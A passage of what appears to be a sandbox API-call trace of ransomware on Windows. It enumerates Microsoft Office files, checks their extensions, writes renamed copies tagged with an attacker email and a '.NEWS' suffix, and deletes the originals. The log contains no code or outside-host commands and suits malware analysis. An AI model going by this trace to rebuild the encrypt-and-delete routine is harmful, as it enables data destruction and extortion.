Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.496] lstrlenW (lpString=".doc") returned 4 [0166.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString=".docx") returned 5 [0166.496] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0166.496] lstrlenW (lpString=".pdf") returned 4 [0166.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString=".xls") returned 4 [0166.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString=".xlsx") returned 5 [0166.496] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0166.496] lstrlenW (lpString=".ppt") returned 4 [0166.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.496] lstrlenW (lpString=".zip") returned 4 [0166.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString=".rar") returned 4 [0166.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString=".bz2") returned 4 [0166.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.496] lstrlenW (lpString=".7z") returned 3 [0166.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.496] lstrlenW (lpString=".dbf") returned 4 [0166.496] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.497] lstrlenW (lpString=".1cd") returned 4 [0166.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.497] lstrlenW (lpString=".jpg") returned 4 [0166.497] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.497] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.497] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0166.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.498] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19136) returned 1 [0166.498] CloseHandle (hObject=0x548) returned 1 [0166.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0166.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.499] lstrlenW (lpString=".doc") returned 4 [0166.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString=".docx") returned 5 [0166.499] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.499] lstrlenW (lpString=".pdf") returned 4 [0166.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString=".xls") returned 4 [0166.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString=".xlsx") returned 5 [0166.499] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.499] lstrlenW (lpString=".ppt") returned 4 [0166.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.499] lstrlenW (lpString=".zip") returned 4 [0166.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString=".rar") returned 4 [0166.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.499] lstrlenW (lpString=".bz2") returned 4 [0166.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.499] lstrlenW (lpString=".7z") returned 3 [0166.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.499] lstrlenW (lpString=".dbf") returned 4 [0166.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.500] lstrlenW (lpString=".1cd") returned 4 [0166.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.500] lstrlenW (lpString=".jpg") returned 4 [0166.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.500] lstrlenW (lpString=".doc") returned 4 [0166.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString=".docx") returned 5 [0166.500] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.500] lstrlenW (lpString=".pdf") returned 4 [0166.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString=".xls") returned 4 [0166.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString=".xlsx") returned 5 [0166.500] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.500] lstrlenW (lpString=".ppt") returned 4 [0166.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.500] lstrlenW (lpString=".zip") returned 4 [0166.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString=".rar") returned 4 [0166.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.500] lstrlenW (lpString=".bz2") returned 4 [0166.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.500] lstrlenW (lpString=".7z") returned 3 [0166.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.501] lstrlenW (lpString=".dbf") returned 4 [0166.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.501] lstrlenW (lpString=".1cd") returned 4 [0166.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0166.501] lstrlenW (lpString=".jpg") returned 4 [0166.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.501] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.501] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0166.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.503] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=18624) returned 1 [0166.503] CloseHandle (hObject=0x548) returned 1 [0166.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0166.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.503] lstrlenW (lpString=".doc") returned 4 [0166.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.503] lstrlenW (lpString=".docx") returned 5 [0166.504] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.504] lstrlenW (lpString=".pdf") returned 4 [0166.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString=".xls") returned 4 [0166.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString=".xlsx") returned 5 [0166.504] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.504] lstrlenW (lpString=".ppt") returned 4 [0166.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.504] lstrlenW (lpString=".zip") returned 4 [0166.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString=".rar") returned 4 [0166.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString=".bz2") returned 4 [0166.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.504] lstrlenW (lpString=".7z") returned 3 [0166.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.504] lstrlenW (lpString=".dbf") returned 4 [0166.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.504] lstrlenW (lpString=".1cd") returned 4 [0166.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.504] lstrlenW (lpString=".jpg") returned 4 [0166.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.505] lstrlenW (lpString=".doc") returned 4 [0166.505] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString=".docx") returned 5 [0166.505] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.505] lstrlenW (lpString=".pdf") returned 4 [0166.505] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString=".xls") returned 4 [0166.505] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString=".xlsx") returned 5 [0166.505] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.505] lstrlenW (lpString=".ppt") returned 4 [0166.505] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.505] lstrlenW (lpString=".zip") returned 4 [0166.505] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString=".rar") returned 4 [0166.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.505] lstrlenW (lpString=".bz2") returned 4 [0166.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.505] lstrlenW (lpString=".7z") returned 3 [0166.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.505] lstrlenW (lpString=".dbf") returned 4 [0166.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.505] lstrlenW (lpString=".1cd") returned 4 [0166.505] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0166.506] lstrlenW (lpString=".jpg") returned 4 [0166.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.506] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.506] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0166.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.507] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11616) returned 1 [0166.507] CloseHandle (hObject=0x548) returned 1 [0166.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0166.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0166.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0166.508] lstrlenW (lpString=".doc") returned 4 [0166.508] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString=".docx") returned 5 [0166.508] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.508] lstrlenW (lpString=".pdf") returned 4 [0166.508] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString=".xls") returned 4 [0166.508] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString=".xlsx") returned 5 [0166.508] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.508] lstrlenW (lpString=".ppt") returned 4 [0166.508] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0166.508] lstrlenW (lpString=".zip") returned 4 [0166.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString=".rar") returned 4 [0166.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.508] lstrlenW (lpString=".bz2") returned 4 [0166.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.508] lstrlenW (lpString=".7z") returned 3 [0166.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0166.508] lstrlenW (lpString=".dbf") returned 4 [0166.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.914] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=9322) returned 1 [0166.914] CloseHandle (hObject=0x4dc) returned 1 [0166.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0167.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0167.185] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.185] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0167.226] GetLastError () returned 0x0 [0167.226] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x246a, lpOverlapped=0x0) returned 1 [0167.256] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2470, lpOverlapped=0x0) returned 1 [0167.259] ReadFile (in: hFile=0x51c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.259] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.259] SetEndOfFile (hFile=0x4f0) returned 1 [0167.259] CloseHandle (hObject=0x4f0) returned 1 [0167.259] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.259] SetEndOfFile (hFile=0x51c) returned 1 [0167.262] CloseHandle (hObject=0x51c) returned 1 [0167.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0167.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.263] lstrlenW (lpString=".doc") returned 4 [0167.263] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.263] lstrlenW (lpString=".docx") returned 5 [0167.263] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.263] lstrlenW (lpString=".pdf") returned 4 [0167.263] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.263] lstrlenW (lpString=".xls") returned 4 [0167.263] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.263] lstrlenW (lpString=".xlsx") returned 5 [0167.263] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.263] lstrlenW (lpString=".ppt") returned 4 [0167.263] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.263] lstrlenW (lpString=".zip") returned 4 [0167.264] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString=".rar") returned 4 [0167.264] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString=".bz2") returned 4 [0167.264] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.264] lstrlenW (lpString=".7z") returned 3 [0167.264] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString=".dbf") returned 4 [0167.264] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString=".1cd") returned 4 [0167.264] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString=".jpg") returned 4 [0167.264] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString=".doc") returned 4 [0167.264] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.264] lstrlenW (lpString=".docx") returned 5 [0167.264] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.264] lstrlenW (lpString=".pdf") returned 4 [0167.264] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString=".xls") returned 4 [0167.264] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString=".xlsx") returned 5 [0167.264] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.264] lstrlenW (lpString=".ppt") returned 4 [0167.264] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.264] lstrlenW (lpString=".zip") returned 4 [0167.264] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.264] lstrlenW (lpString=".rar") returned 4 [0167.264] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.265] lstrlenW (lpString=".bz2") returned 4 [0167.265] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.265] lstrlenW (lpString=".7z") returned 3 [0167.265] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.265] lstrlenW (lpString=".dbf") returned 4 [0167.265] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.265] lstrlenW (lpString=".1cd") returned 4 [0167.265] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0167.265] lstrlenW (lpString=".jpg") returned 4 [0167.265] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.265] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.265] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0167.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.549] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7567) returned 1 [0167.549] 